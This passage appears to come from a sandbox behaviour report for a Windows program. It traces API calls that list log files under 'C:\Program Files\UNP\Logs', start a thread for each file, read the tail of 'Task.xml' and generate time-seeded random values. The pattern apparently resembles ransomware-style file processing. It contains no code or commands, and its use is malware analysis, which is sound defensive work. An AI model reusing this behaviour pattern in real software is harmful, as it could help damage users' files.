	[0076.755] wcscpy (in: _Dest=0x2d709c0, _Source="C:\\Program Files\\UNP\\Logs" | out: _Dest="C:\\Program Files\\UNP\\Logs") returned="C:\\Program Files\\UNP\\Logs"
	[0076.755] wcscat (in: _Dest=0x2d709c0, _Source="\\" | out: _Dest="C:\\Program Files\\UNP\\Logs\\") returned="C:\\Program Files\\UNP\\Logs\\"
	[0076.755] wcscat (in: _Dest=0x2d709c0, _Source="*" | out: _Dest="C:\\Program Files\\UNP\\Logs\\*") returned="C:\\Program Files\\UNP\\Logs\\*"
	[0076.755] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x2db80f8
	[0076.756] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\Logs\\*", lpFindFileData=0x2db80f8 | out: lpFindFileData=0x2db80f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4c52ff94, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x73d2a2de, ftLastAccessTime.dwHighDateTime=0x1d5da5f, ftLastWriteTime.dwLowDateTime=0x73d2a2de, ftLastWriteTime.dwHighDateTime=0x1d5da5f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2d70a00
	[0076.757] wcscmp (_String1=".", _String2=".") returned 0
	[0076.757] FindNextFileW (in: hFindFile=0x2d70a00, lpFindFileData=0x2db80f8 | out: lpFindFileData=0x2db80f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4c52ff94, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x73d2a2de, ftLastAccessTime.dwHighDateTime=0x1d5da5f, ftLastWriteTime.dwLowDateTime=0x73d2a2de, ftLastWriteTime.dwHighDateTime=0x1d5da5f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0076.757] wcscmp (_String1="..", _String2=".") returned 1
	[0076.757] wcscmp (_String1="..", _String2="..") returned 0
	[0076.757] FindNextFileW (in: hFindFile=0x2d70a00, lpFindFileData=0x2db80f8 | out: lpFindFileData=0x2db80f8*(dwFileAttributes=0x2000, ftCreationTime.dwLowDateTime=0xcd3f87c1, ftCreationTime.dwHighDateTime=0x1d327b4, ftLastAccessTime.dwLowDateTime=0x73d2a2de, ftLastAccessTime.dwHighDateTime=0x1d5da5f, ftLastWriteTime.dwLowDateTime=0x73d2a2de, ftLastWriteTime.dwHighDateTime=0x1d5da5f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="UniversalNotificationPlatform.001.etl", cAlternateFileName="UN6414~1.ETL")) returned 1
	[0076.757] wcscmp (_String1="UniversalNotificationPlatform.001.etl", _String2=".") returned 1
	[0076.757] wcscmp (_String1="UniversalNotificationPlatform.001.etl", _String2="..") returned 1
	[0076.757] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x80) returned 0x2e352e0
	[0076.757] wcscpy (in: _Dest=0x2e352e0, _Source="C:\\Program Files\\UNP\\Logs" | out: _Dest="C:\\Program Files\\UNP\\Logs") returned="C:\\Program Files\\UNP\\Logs"
	[0076.757] wcscat (in: _Dest=0x2e352e0, _Source="\\" | out: _Dest="C:\\Program Files\\UNP\\Logs\\") returned="C:\\Program Files\\UNP\\Logs\\"
	[0076.757] wcscat (in: _Dest=0x2e352e0, _Source="UniversalNotificationPlatform.001.etl" | out: _Dest="C:\\Program Files\\UNP\\Logs\\UniversalNotificationPlatform.001.etl") returned="C:\\Program Files\\UNP\\Logs\\UniversalNotificationPlatform.001.etl"
	[0077.253] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x2e352e0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x6e0
	[0077.254] FindNextFileW (in: hFindFile=0x2d70a00, lpFindFileData=0x2db80f8 | out: lpFindFileData=0x2db80f8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xcd3f87c1, ftCreationTime.dwHighDateTime=0x1d327b4, ftLastAccessTime.dwLowDateTime=0xf95053af, ftLastAccessTime.dwHighDateTime=0x1d5d805, ftLastWriteTime.dwLowDateTime=0x9b236e, ftLastWriteTime.dwHighDateTime=0x1d5d806, nFileSizeHigh=0x0, nFileSizeLow=0x20000, dwReserved0=0x0, dwReserved1=0x0, cFileName="UniversalNotificationPlatform.002.etl", cAlternateFileName="UN8F7C~1.ETL")) returned 1
	[0077.254] wcscmp (_String1="UniversalNotificationPlatform.002.etl", _String2=".") returned 1
	[0077.254] wcscmp (_String1="UniversalNotificationPlatform.002.etl", _String2="..") returned 1
	[0077.254] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x80) returned 0x2e353f0
	[0077.254] wcscpy (in: _Dest=0x2e353f0, _Source="C:\\Program Files\\UNP\\Logs" | out: _Dest="C:\\Program Files\\UNP\\Logs") returned="C:\\Program Files\\UNP\\Logs"
	[0077.254] wcscat (in: _Dest=0x2e353f0, _Source="\\" | out: _Dest="C:\\Program Files\\UNP\\Logs\\") returned="C:\\Program Files\\UNP\\Logs\\"
	[0077.254] wcscat (in: _Dest=0x2e353f0, _Source="UniversalNotificationPlatform.002.etl" | out: _Dest="C:\\Program Files\\UNP\\Logs\\UniversalNotificationPlatform.002.etl") returned="C:\\Program Files\\UNP\\Logs\\UniversalNotificationPlatform.002.etl"
	[0077.254] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x2e353f0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x6dc
	[0077.255] FindNextFileW (in: hFindFile=0x2d70a00, lpFindFileData=0x2db80f8 | out: lpFindFileData=0x2db80f8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xcd3f87c1, ftCreationTime.dwHighDateTime=0x1d327b4, ftLastAccessTime.dwLowDateTime=0x5c983e05, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x5f01bf05, ftLastWriteTime.dwHighDateTime=0x1d47c32, nFileSizeHigh=0x0, nFileSizeLow=0x20000, dwReserved0=0x0, dwReserved1=0x0, cFileName="UniversalNotificationPlatform.003.etl", cAlternateFileName="UN3A48~1.ETL")) returned 1
	[0077.255] wcscmp (_String1="UniversalNotificationPlatform.003.etl", _String2=".") returned 1
	[0077.255] wcscmp (_String1="UniversalNotificationPlatform.003.etl", _String2="..") returned 1
	[0077.255] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x80) returned 0x2e35e08
	[0077.255] wcscpy (in: _Dest=0x2e35e08, _Source="C:\\Program Files\\UNP\\Logs" | out: _Dest="C:\\Program Files\\UNP\\Logs") returned="C:\\Program Files\\UNP\\Logs"
	[0077.255] wcscat (in: _Dest=0x2e35e08, _Source="\\" | out: _Dest="C:\\Program Files\\UNP\\Logs\\") returned="C:\\Program Files\\UNP\\Logs\\"
	[0077.255] wcscat (in: _Dest=0x2e35e08, _Source="UniversalNotificationPlatform.003.etl" | out: _Dest="C:\\Program Files\\UNP\\Logs\\UniversalNotificationPlatform.003.etl") returned="C:\\Program Files\\UNP\\Logs\\UniversalNotificationPlatform.003.etl"
	[0077.255] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x2e35e08, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x6d4
	[0077.256] FindNextFileW (in: hFindFile=0x2d70a00, lpFindFileData=0x2db80f8 | out: lpFindFileData=0x2db80f8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xcd3f87c1, ftCreationTime.dwHighDateTime=0x1d327b4, ftLastAccessTime.dwLowDateTime=0x4308f96d, ftLastAccessTime.dwHighDateTime=0x1d41dc4, ftLastWriteTime.dwLowDateTime=0x4416619d, ftLastWriteTime.dwHighDateTime=0x1d41dc4, nFileSizeHigh=0x0, nFileSizeLow=0x20000, dwReserved0=0x0, dwReserved1=0x0, cFileName="UniversalNotificationPlatform.004.etl", cAlternateFileName="UNE414~1.ETL")) returned 1
	[0077.256] wcscmp (_String1="UniversalNotificationPlatform.004.etl", _String2=".") returned 1
	[0077.256] wcscmp (_String1="UniversalNotificationPlatform.004.etl", _String2="..") returned 1
	[0077.256] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x80) returned 0x2e350c0
	[0077.256] wcscpy (in: _Dest=0x2e350c0, _Source="C:\\Program Files\\UNP\\Logs" | out: _Dest="C:\\Program Files\\UNP\\Logs") returned="C:\\Program Files\\UNP\\Logs"
	[0077.256] wcscat (in: _Dest=0x2e350c0, _Source="\\" | out: _Dest="C:\\Program Files\\UNP\\Logs\\") returned="C:\\Program Files\\UNP\\Logs\\"
	[0077.256] wcscat (in: _Dest=0x2e350c0, _Source="UniversalNotificationPlatform.004.etl" | out: _Dest="C:\\Program Files\\UNP\\Logs\\UniversalNotificationPlatform.004.etl") returned="C:\\Program Files\\UNP\\Logs\\UniversalNotificationPlatform.004.etl"
	[0077.256] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x2e350c0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x6d0
	[0077.256] FindNextFileW (in: hFindFile=0x2d70a00, lpFindFileData=0x2db80f8 | out: lpFindFileData=0x2db80f8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xcd3f87c1, ftCreationTime.dwHighDateTime=0x1d327b4, ftLastAccessTime.dwLowDateTime=0x74f27e5, ftLastAccessTime.dwHighDateTime=0x1d3aafc, ftLastWriteTime.dwLowDateTime=0xb20ade5, ftLastWriteTime.dwHighDateTime=0x1d3aafc, nFileSizeHigh=0x0, nFileSizeLow=0x20000, dwReserved0=0x0, dwReserved1=0x0, cFileName="UniversalNotificationPlatform.005.etl", cAlternateFileName="UN7020~1.ETL")) returned 1
	[0077.256] wcscmp (_String1="UniversalNotificationPlatform.005.etl", _String2=".") returned 1
	[0077.256] wcscmp (_String1="UniversalNotificationPlatform.005.etl", _String2="..") returned 1
	[0077.257] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x80) returned 0x2e35478
	[0077.257] wcscpy (in: _Dest=0x2e35478, _Source="C:\\Program Files\\UNP\\Logs" | out: _Dest="C:\\Program Files\\UNP\\Logs") returned="C:\\Program Files\\UNP\\Logs"
	[0077.257] wcscat (in: _Dest=0x2e35478, _Source="\\" | out: _Dest="C:\\Program Files\\UNP\\Logs\\") returned="C:\\Program Files\\UNP\\Logs\\"
	[0077.257] wcscat (in: _Dest=0x2e35478, _Source="UniversalNotificationPlatform.005.etl" | out: _Dest="C:\\Program Files\\UNP\\Logs\\UniversalNotificationPlatform.005.etl") returned="C:\\Program Files\\UNP\\Logs\\UniversalNotificationPlatform.005.etl"
	[0077.257] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x2e35478, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x6cc
	[0077.257] FindNextFileW (in: hFindFile=0x2d70a00, lpFindFileData=0x2db80f8 | out: lpFindFileData=0x2db80f8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xcd3f87c1, ftCreationTime.dwHighDateTime=0x1d327b4, ftLastAccessTime.dwLowDateTime=0x2211c845, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x4ddc6c38, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x20000, dwReserved0=0x0, dwReserved1=0x0, cFileName="UniversalNotificationPlatform.006.etl", cAlternateFileName="UN4AAB~1.ETL")) returned 1
	[0077.257] wcscmp (_String1="UniversalNotificationPlatform.006.etl", _String2=".") returned 1
	[0077.257] wcscmp (_String1="UniversalNotificationPlatform.006.etl", _String2="..") returned 1
	[0077.257] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x80) returned 0x2e35500
	[0077.257] wcscpy (in: _Dest=0x2e35500, _Source="C:\\Program Files\\UNP\\Logs" | out: _Dest="C:\\Program Files\\UNP\\Logs") returned="C:\\Program Files\\UNP\\Logs"
	[0077.257] wcscat (in: _Dest=0x2e35500, _Source="\\" | out: _Dest="C:\\Program Files\\UNP\\Logs\\") returned="C:\\Program Files\\UNP\\Logs\\"
	[0077.257] wcscat (in: _Dest=0x2e35500, _Source="UniversalNotificationPlatform.006.etl" | out: _Dest="C:\\Program Files\\UNP\\Logs\\UniversalNotificationPlatform.006.etl") returned="C:\\Program Files\\UNP\\Logs\\UniversalNotificationPlatform.006.etl"
	[0077.258] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x2e35500, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x6a4
	[0077.258] FindNextFileW (in: hFindFile=0x2d70a00, lpFindFileData=0x2db80f8 | out: lpFindFileData=0x2db80f8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xcd3f87c1, ftCreationTime.dwHighDateTime=0x1d327b4, ftLastAccessTime.dwLowDateTime=0xdb15d668, ftLastAccessTime.dwHighDateTime=0x1d38c43, ftLastWriteTime.dwLowDateTime=0xde0c0235, ftLastWriteTime.dwHighDateTime=0x1d38c43, nFileSizeHigh=0x0, nFileSizeLow=0x20000, dwReserved0=0x0, dwReserved1=0x0, cFileName="UniversalNotificationPlatform.007.etl", cAlternateFileName="UN1B88~1.ETL")) returned 1
	[0077.258] wcscmp (_String1="UniversalNotificationPlatform.007.etl", _String2=".") returned 1
	[0077.258] wcscmp (_String1="UniversalNotificationPlatform.007.etl", _String2="..") returned 1
	[0077.258] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x80) returned 0x2e35148
	[0077.258] wcscpy (in: _Dest=0x2e35148, _Source="C:\\Program Files\\UNP\\Logs" | out: _Dest="C:\\Program Files\\UNP\\Logs") returned="C:\\Program Files\\UNP\\Logs"
	[0077.258] wcscat (in: _Dest=0x2e35148, _Source="\\" | out: _Dest="C:\\Program Files\\UNP\\Logs\\") returned="C:\\Program Files\\UNP\\Logs\\"
	[0077.258] wcscat (in: _Dest=0x2e35148, _Source="UniversalNotificationPlatform.007.etl" | out: _Dest="C:\\Program Files\\UNP\\Logs\\UniversalNotificationPlatform.007.etl") returned="C:\\Program Files\\UNP\\Logs\\UniversalNotificationPlatform.007.etl"
	[0077.258] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x2e35148, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x654
	[0077.259] FindNextFileW (in: hFindFile=0x2d70a00, lpFindFileData=0x2db80f8 | out: lpFindFileData=0x2db80f8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xcd3f87c1, ftCreationTime.dwHighDateTime=0x1d327b4, ftLastAccessTime.dwLowDateTime=0x264f31cb, ftLastAccessTime.dwHighDateTime=0x1d35e03, ftLastWriteTime.dwLowDateTime=0x361fe290, ftLastWriteTime.dwHighDateTime=0x1d35e03, nFileSizeHigh=0x0, nFileSizeLow=0x20000, dwReserved0=0x0, dwReserved1=0x0, cFileName="UniversalNotificationPlatform.008.etl", cAlternateFileName="UNFF10~1.ETL")) returned 1
	[0077.259] wcscmp (_String1="UniversalNotificationPlatform.008.etl", _String2=".") returned 1
	[0077.259] wcscmp (_String1="UniversalNotificationPlatform.008.etl", _String2="..") returned 1
	[0077.260] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x80) returned 0x2e35830
	[0077.260] wcscpy (in: _Dest=0x2e35830, _Source="C:\\Program Files\\UNP\\Logs" | out: _Dest="C:\\Program Files\\UNP\\Logs") returned="C:\\Program Files\\UNP\\Logs"
	[0077.260] wcscat (in: _Dest=0x2e35830, _Source="\\" | out: _Dest="C:\\Program Files\\UNP\\Logs\\") returned="C:\\Program Files\\UNP\\Logs\\"
	[0077.260] wcscat (in: _Dest=0x2e35830, _Source="UniversalNotificationPlatform.008.etl" | out: _Dest="C:\\Program Files\\UNP\\Logs\\UniversalNotificationPlatform.008.etl") returned="C:\\Program Files\\UNP\\Logs\\UniversalNotificationPlatform.008.etl"
	[0077.260] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x2e35830, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x650
	[0077.260] FindNextFileW (in: hFindFile=0x2d70a00, lpFindFileData=0x2db80f8 | out: lpFindFileData=0x2db80f8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xcd3f87c1, ftCreationTime.dwHighDateTime=0x1d327b4, ftLastAccessTime.dwLowDateTime=0x86f819e6, ftLastAccessTime.dwHighDateTime=0x1d336d7, ftLastWriteTime.dwLowDateTime=0x885ec92b, ftLastWriteTime.dwHighDateTime=0x1d336d7, nFileSizeHigh=0x0, nFileSizeLow=0x20000, dwReserved0=0x0, dwReserved1=0x0, cFileName="UniversalNotificationPlatform.009.etl", cAlternateFileName="UNB5F0~1.ETL")) returned 1
	[0077.260] wcscmp (_String1="UniversalNotificationPlatform.009.etl", _String2=".") returned 1
	[0077.260] wcscmp (_String1="UniversalNotificationPlatform.009.etl", _String2="..") returned 1
	[0077.260] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x80) returned 0x2e35e90
	[0077.260] wcscpy (in: _Dest=0x2e35e90, _Source="C:\\Program Files\\UNP\\Logs" | out: _Dest="C:\\Program Files\\UNP\\Logs") returned="C:\\Program Files\\UNP\\Logs"
	[0077.260] wcscat (in: _Dest=0x2e35e90, _Source="\\" | out: _Dest="C:\\Program Files\\UNP\\Logs\\") returned="C:\\Program Files\\UNP\\Logs\\"
	[0077.261] wcscat (in: _Dest=0x2e35e90, _Source="UniversalNotificationPlatform.009.etl" | out: _Dest="C:\\Program Files\\UNP\\Logs\\UniversalNotificationPlatform.009.etl") returned="C:\\Program Files\\UNP\\Logs\\UniversalNotificationPlatform.009.etl"
	[0077.261] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x2e35e90, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x648
	[0077.261] FindNextFileW (in: hFindFile=0x2d70a00, lpFindFileData=0x2db80f8 | out: lpFindFileData=0x2db80f8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xcd3f87c1, ftCreationTime.dwHighDateTime=0x1d327b4, ftLastAccessTime.dwLowDateTime=0xcd3f87c1, ftLastAccessTime.dwHighDateTime=0x1d327b4, ftLastWriteTime.dwLowDateTime=0xce292e60, ftLastWriteTime.dwHighDateTime=0x1d327b4, nFileSizeHigh=0x0, nFileSizeLow=0x20000, dwReserved0=0x0, dwReserved1=0x0, cFileName="UniversalNotificationPlatform.010.etl", cAlternateFileName="UNIVER~4.ETL")) returned 1
	[0077.261] wcscmp (_String1="UniversalNotificationPlatform.010.etl", _String2=".") returned 1
	[0077.261] wcscmp (_String1="UniversalNotificationPlatform.010.etl", _String2="..") returned 1
	[0077.261] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x80) returned 0x2e35610
	[0077.261] wcscpy (in: _Dest=0x2e35610, _Source="C:\\Program Files\\UNP\\Logs" | out: _Dest="C:\\Program Files\\UNP\\Logs") returned="C:\\Program Files\\UNP\\Logs"
	[0077.261] wcscat (in: _Dest=0x2e35610, _Source="\\" | out: _Dest="C:\\Program Files\\UNP\\Logs\\") returned="C:\\Program Files\\UNP\\Logs\\"
	[0077.261] wcscat (in: _Dest=0x2e35610, _Source="UniversalNotificationPlatform.010.etl" | out: _Dest="C:\\Program Files\\UNP\\Logs\\UniversalNotificationPlatform.010.etl") returned="C:\\Program Files\\UNP\\Logs\\UniversalNotificationPlatform.010.etl"
	[0077.261] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x2e35610, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x638
	[0077.262] FindNextFileW (in: hFindFile=0x2d70a00, lpFindFileData=0x2db80f8 | out: lpFindFileData=0x2db80f8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xcb6ecb1, ftCreationTime.dwHighDateTime=0x1d32735, ftLastAccessTime.dwLowDateTime=0x107a2333, ftLastAccessTime.dwHighDateTime=0x1d32735, ftLastWriteTime.dwLowDateTime=0x107a2333, ftLastWriteTime.dwHighDateTime=0x1d32735, nFileSizeHigh=0x0, nFileSizeLow=0x20000, dwReserved0=0x0, dwReserved1=0x0, cFileName="UniversalNotificationPlatform.021.etl", cAlternateFileName="UNIVER~3.ETL")) returned 1
	[0077.262] wcscmp (_String1="UniversalNotificationPlatform.021.etl", _String2=".") returned 1
	[0077.262] wcscmp (_String1="UniversalNotificationPlatform.021.etl", _String2="..") returned 1
	[0077.262] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x80) returned 0x2e35698
	[0077.262] wcscpy (in: _Dest=0x2e35698, _Source="C:\\Program Files\\UNP\\Logs" | out: _Dest="C:\\Program Files\\UNP\\Logs") returned="C:\\Program Files\\UNP\\Logs"
	[0077.262] wcscat (in: _Dest=0x2e35698, _Source="\\" | out: _Dest="C:\\Program Files\\UNP\\Logs\\") returned="C:\\Program Files\\UNP\\Logs\\"
	[0077.262] wcscat (in: _Dest=0x2e35698, _Source="UniversalNotificationPlatform.021.etl" | out: _Dest="C:\\Program Files\\UNP\\Logs\\UniversalNotificationPlatform.021.etl") returned="C:\\Program Files\\UNP\\Logs\\UniversalNotificationPlatform.021.etl"
	[0077.262] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x2e35698, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x628
	[0077.263] FindNextFileW (in: hFindFile=0x2d70a00, lpFindFileData=0x2db80f8 | out: lpFindFileData=0x2db80f8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xcb6ecb1, ftCreationTime.dwHighDateTime=0x1d32735, ftLastAccessTime.dwLowDateTime=0xcb6ecb1, ftLastAccessTime.dwHighDateTime=0x1d32735, ftLastWriteTime.dwLowDateTime=0xcd5eb67, ftLastWriteTime.dwHighDateTime=0x1d32735, nFileSizeHigh=0x0, nFileSizeLow=0x20000, dwReserved0=0x0, dwReserved1=0x0, cFileName="UniversalNotificationPlatform.022.etl", cAlternateFileName="UNIVER~2.ETL")) returned 1
	[0077.263] wcscmp (_String1="UniversalNotificationPlatform.022.etl", _String2=".") returned 1
	[0077.263] wcscmp (_String1="UniversalNotificationPlatform.022.etl", _String2="..") returned 1
	[0077.263] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x80) returned 0x2e351d0
	[0077.263] wcscpy (in: _Dest=0x2e351d0, _Source="C:\\Program Files\\UNP\\Logs" | out: _Dest="C:\\Program Files\\UNP\\Logs") returned="C:\\Program Files\\UNP\\Logs"
	[0077.263] wcscat (in: _Dest=0x2e351d0, _Source="\\" | out: _Dest="C:\\Program Files\\UNP\\Logs\\") returned="C:\\Program Files\\UNP\\Logs\\"
	[0077.263] wcscat (in: _Dest=0x2e351d0, _Source="UniversalNotificationPlatform.022.etl" | out: _Dest="C:\\Program Files\\UNP\\Logs\\UniversalNotificationPlatform.022.etl") returned="C:\\Program Files\\UNP\\Logs\\UniversalNotificationPlatform.022.etl"
	[0077.263] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x2e351d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x620
	[0077.264] FindNextFileW (in: hFindFile=0x2d70a00, lpFindFileData=0x2db80f8 | out: lpFindFileData=0x2db80f8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x749ce1ef, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x749ce1ef, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x94dd5302, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x40000, dwReserved0=0x0, dwReserved1=0x0, cFileName="UniversalNotificationPlatform.029.etl", cAlternateFileName="UNIVER~1.ETL")) returned 1
	[0077.264] wcscmp (_String1="UniversalNotificationPlatform.029.etl", _String2=".") returned 1
	[0077.264] wcscmp (_String1="UniversalNotificationPlatform.029.etl", _String2="..") returned 1
	[0077.264] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x80) returned 0x2e35940
	[0077.264] wcscpy (in: _Dest=0x2e35940, _Source="C:\\Program Files\\UNP\\Logs" | out: _Dest="C:\\Program Files\\UNP\\Logs") returned="C:\\Program Files\\UNP\\Logs"
	[0077.264] wcscat (in: _Dest=0x2e35940, _Source="\\" | out: _Dest="C:\\Program Files\\UNP\\Logs\\") returned="C:\\Program Files\\UNP\\Logs\\"
	[0077.264] wcscat (in: _Dest=0x2e35940, _Source="UniversalNotificationPlatform.029.etl" | out: _Dest="C:\\Program Files\\UNP\\Logs\\UniversalNotificationPlatform.029.etl") returned="C:\\Program Files\\UNP\\Logs\\UniversalNotificationPlatform.029.etl"
	[0077.264] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x2e35940, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x618
	[0077.265] FindNextFileW (in: hFindFile=0x2d70a00, lpFindFileData=0x2db80f8 | out: lpFindFileData=0x2db80f8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x749ce1ef, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x749ce1ef, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x94dd5302, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x40000, dwReserved0=0x0, dwReserved1=0x0, cFileName="UniversalNotificationPlatform.029.etl", cAlternateFileName="UNIVER~1.ETL")) returned 0
	[0077.265] FindClose (in: hFindFile=0x2d70a00 | out: hFindFile=0x2d70a00) returned 1
	[0077.265] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2db80f8) returned 1
	[0077.265] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d709c0) returned 1
	[0077.265] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d710c0) returned 1

Thread:
	id = 240
	os_tid = 0xb58

	[0076.757] GetFileAttributesW (lpFileName="C:\\Program Files\\UNP\\Task.xml" (normalized: "c:\\program files\\unp\\task.xml")) returned 0x20
	[0079.770] SetFileAttributesW (lpFileName="C:\\Program Files\\UNP\\Task.xml", dwFileAttributes=0x20) returned 1
	[0079.770] CreateFileW (lpFileName="C:\\Program Files\\UNP\\Task.xml" (normalized: "c:\\program files\\unp\\task.xml"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x131c
	[0079.770] GetFileSizeEx (in: hFile=0x131c, lpFileSize=0xb68fa54 | out: lpFileSize=0xb68fa54*=3206) returned 1
	[0079.770] SetFilePointerEx (in: hFile=0x131c, liDistanceToMove=0xc82, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0079.770] ReadFile (in: hFile=0x131c, lpBuffer=0xb68f9d8, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0xb68f9d4, lpOverlapped=0x0 | out: lpBuffer=0xb68f9d8*, lpNumberOfBytesRead=0xb68f9d4*=0x4, lpOverlapped=0x0) returned 1
	[0079.771] SetFilePointerEx (in: hFile=0x131c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0079.772] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x47817d8
	[0079.772] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x47815a8
	[0079.772] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4781760
	[0079.772] NtQuerySystemTime (in: CurrentTime=0xb68f9b4 | out: CurrentTime=0xb68f9b4*=132251868065150494) returned 0x0
	[0079.772] RtlRandom (in: Seed=0xb68f9c0 | out: Seed=0xb68f9c0) returned 0x9b8ed9e7
	[0079.772] RtlRandom (in: Seed=0xb68f9c0 | out: Seed=0xb68f9c0) returned 0x526bde86
	[0079.772] RtlRandom (in: Seed=0xb68f9c0 | out: Seed=0xb68f9c0) returned 0x22aff0ba
	[0079.772] RtlRandom (in: Seed=0xb68f9c0 | out: Seed=0xb68f9c0) returned 0xe91a24bf
	[0079.772] RtlRandom (in: Seed=0xb68f9c0 | out: Seed=0xb68f9c0) returned 0xe9c1667f
